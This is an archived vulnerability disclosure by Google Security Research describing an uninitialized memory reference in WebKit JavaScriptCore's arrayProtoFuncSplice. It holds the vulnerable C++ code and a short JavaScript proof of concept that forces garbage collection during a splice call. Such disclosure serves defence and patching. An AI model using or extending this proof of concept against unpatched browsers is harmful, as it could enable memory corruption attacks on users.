what you don't know can hurt you

WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference

WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference
Posted Jul 25, 2017
Authored by Google Security Research, lokihardt

WebKit JSC suffers from an uninitialized memory reference in arrayProtoFuncSplice.

tags | exploit
MD5 | 61302137db1706d8e9bb703e1fa8e6bb

WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference

Change Mirror Download
WebKit: JSC: uninitialized memory reference in arrayProtoFuncSplice 




Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...

result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (UNLIKELY(!result)) {
throwOutOfMemoryError(exec, scope);
return encodedJSValue();
}

// The result can have an ArrayStorage indexing type if we're having a bad time.
bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
bool success = false;
if (UNLIKELY(isArrayStorage)) {
static const bool needToFillHolesManually = true;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
} else {
ASSERT(hasUndecided(result->indexingType()));
static const bool needToFillHolesManually = false;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
}
if (UNLIKELY(!success)) {
ASSERT(scope.exception());
return encodedJSValue();
}
...
}

|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.

PoC:
function gc() {
for (let i = 0; i < 4; i++)
new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(1000, () => 0);

for (let i = 0; i < 0x1000; i++)
new Array(0x10).fill([{}, {}, {}, {}]);

for (let i = 0; i < 0x1000; i++) {
let x = {length: 0x10};
x.__defineGetter__(0, () => gc());
Array.prototype.splice.call(x, 0);
}



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    37 Files
  • 26
    Feb 26th
    15 Files
  • 27
    Feb 27th
    15 Files
  • 28
    Feb 28th
    4 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close